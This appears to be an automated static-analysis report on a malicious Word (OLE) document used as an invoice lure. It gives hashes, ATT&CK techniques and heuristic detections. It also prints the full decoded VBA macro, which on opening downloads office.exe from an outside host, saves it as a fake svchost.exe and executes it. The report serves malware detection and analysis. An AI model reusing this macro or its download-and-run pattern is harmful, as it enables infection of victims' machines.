Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ade02114297d026…

MALICIOUS

Office (OLE)

32.5 KB Created: 2015-06-21 23:05:00 Authoring application: Microsoft Office Word First seen: 2015-10-04
MD5: db81966aaac30907b0615cddfa12afa0 SHA-1: 5db6048d752cf4cfb65404f38a278d025e3781e3 SHA-256: 1ade02114297d026f038438b771f0bf08ff0c3a4e58ba6442421398fb01fcb15
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that leverage WScript.Shell and URLDownloadToFile to download and execute a second-stage payload. The document body explicitly instructs the user to enable macros to view an "invoice", which is a common lure. The reconstructed URL for the payload is http://itcbgrimaldi.altervista.org/language/office.exe and it is saved as C:\Users\Public\Documents\svchost.exe.

Heuristics 12

  • ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            executionBegin = Shell(Management, windowStyle)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Set wsh = VBA.CreateObject("WScript.Shell")
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
      "URLDownloadToFileA" (ByVal MicrosoftEssential As Long, ByVal OffensiveSecurity As String, ByVal _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2220 bytes
SHA-256: 00df666ededa6ee969c92b1e5c8335f1446714ecc6c7e94cc4c69f3a8f85aebb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Wikipedia Lib "urlmon" Alias _
  "URLDownloadToFileA" (ByVal MicrosoftEssential As Long, ByVal OffensiveSecurity As String, ByVal _
    ResidentEvilFour As String, ByVal PlayStationPortable As Long, ByVal NepalEighthWonderofWorld As Long) As Long

Private Sub Document_Open()
        
        Dim TempStart As String
        Dim TempColon As String
        Dim TempSlash As String
        Dim TempFirst As String
        Dim TempSecond As String
        Dim TempThird As String
        Dim TempFourth As String
        Dim TempFifth As String
        Dim TempSixth As String
        Dim FinalTemp As String
        Dim Management As String
        Dim WindowsOpen As String, ext As String
        Dim buf, ret As Long
        Dim LinkOne As String
        Dim LinkTwo As String
        Dim LinkThree As String
        LinkOne = "http"
        LinkTwo = "://itcbgrimaldi.altervista.org"
        LinkThree = "/language/office.exe"
        WindowsOpen = LinkOne + LinkTwo + LinkThree
        buf = Split(WindowsOpen, ".")
        ext = buf(UBound(buf))
        TempStart = "C"
        TempColon = ":"
        TempSlash = "\"
        TempFirst = "Users"
        TempSecond = "Public"
        TempThird = "Documents"
        TempFourth = "svchost"
        TempFifth = "."
        TempSixth = "exe"
        FinalTemp = TempStart + TempColon + TempSlash + TempFirst + TempSlash + TempSecond + TempSlash + TempThird + TempSlash + TempFourth + TempFifth + TempSixth
        
        Management = FinalTemp
        ret = Wikipedia(0, WindowsOpen, Management, 0, 0)
        
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim waitOnReturn As Boolean: waitOnReturn = True
        Dim windowStyle As Integer: windowStyle = 1

        Dim executionBegin
        executionBegin = Shell(Management, windowStyle)
End Sub